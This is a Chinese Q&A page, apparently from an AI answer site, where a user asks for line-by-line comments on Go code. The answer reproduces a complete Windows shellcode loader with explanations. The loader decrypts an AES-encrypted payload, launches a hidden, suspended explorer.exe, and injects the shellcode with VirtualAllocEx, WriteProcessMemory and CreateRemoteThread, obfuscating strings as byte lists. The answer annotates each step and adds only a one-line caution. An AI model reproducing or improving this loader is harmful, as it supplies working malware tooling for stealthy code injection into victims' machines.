分析下面代码并每行给出代码注释package mainimport cryptoaes os syscall unsafe strings strconv cryptocipher errorsconst MEM_COMMIT = 0x1000
该代码是一个用于加载和执行远程 shellcode 的 Go 程序。以下是每行代码的注释:
package main
import (
"crypto/aes"
"os"
"syscall"
"unsafe"
"strings"
"strconv"
"crypto/cipher"
"errors"
)
导入所需的 Go 模块和库。
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
CREATE_SUSPENDED = 0x4
CREATE_NO_WINDOW = 0x8000000
)
定义常量,用于设置内存分配和权限等参数。
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
OpenProcess = kernel32.MustFindProc("OpenProcess")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
closeHandle = kernel32.MustFindProc("CloseHandle")
)
定义全局变量,用于加载和执行 shellcode 所需的系统调用。
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
定义一个函数,用于解密 AES 加密的 shellcode。
func StringBytesParseString(byteString string) (string, error) {
byteString = strings.TrimSuffix(byteString, "]")
byteString = strings.TrimLeft(byteString, "[")
sByteString := strings.Split(byteString, " ")
var res []byte
for _, s := range sByteString {
i, err := strconv.ParseUint(s, 10, 64)
if err != nil {
return "", err
}
res = append(res, byte(i))
}
return string(res), nil
}
定义一个函数,用于将字符串形式的字节数组转换为实际字节数组。
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
commandLine, err := syscall.UTF16PtrFromString(target)
if err != nil {
panic(err)
}
err = syscall.CreateProcess(
nil,
commandLine,
nil,
nil,
false,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi)
if err != nil {
panic(err)
}
return &pi
}
定义一个函数,用于启动一个新进程(被注入 shellcode 的目标进程)。
func main() {
/* decode values from encoded bytes */
key, err := StringBytesParseString("[84 150 98 245 237 193 145 86 135 82 188 200 46 124 65 173 209 254 138 245 19 5 189 101 220 215 179 85 12 221 12 82]"); if err != nil {
os.Exit(1)
}
bytesPayload, err := StringBytesParseString("[177 ]"); if err != nil {
os.Exit(1)
}
target, err := StringBytesParseString("[101 120 112 108 111 114 101 114 46 101 120 101]"); if err != nil {
os.Exit(1)
}
/* decrypt shellcode using AES */
shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
os.Exit(1)
}
/* spawn target process */
process := loadProcess(target)
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAllocEx.Call(
uintptr(process.Process),
0,
uintptr(len(shellcode)),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* overwriting process memory with our shellcode */
_, _, err = WriteProcessMemory.Call(
uintptr(process.Process),
baseAddr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* changing permissions for our memory segment */
_, _, err = VirtualProtectEx.Call(
uintptr(process.Process),
baseAddr,
uintptr(len(shellcode)),
PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtectCfg)),
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* load remote thread */
_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* close process handler */
_, _, err = closeHandle.Call(uintptr(process.Process))
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
}
主函数包含以下步骤:
-
解码从字符串转换而来的密钥、shellcode 和目标进程名。
-
使用解密后的密钥解密 shellcode。
-
启动目标进程。
-
为 shellcode 分配内存空间。
-
将 shellcode 写入目标进程的内存空间。
-
更改 shellcode 所在内存段的权限,以便执行 shellcode。
-
加载远程线程,并启动 shellcode。
-
关闭目标进程的处理句柄。
需要注意的是,该程序可能会被用于恶意目的,应谨慎使用。
原文地址: https://www.cveoy.top/t/topic/HhZ 著作权归作者所有。请勿转载和采集!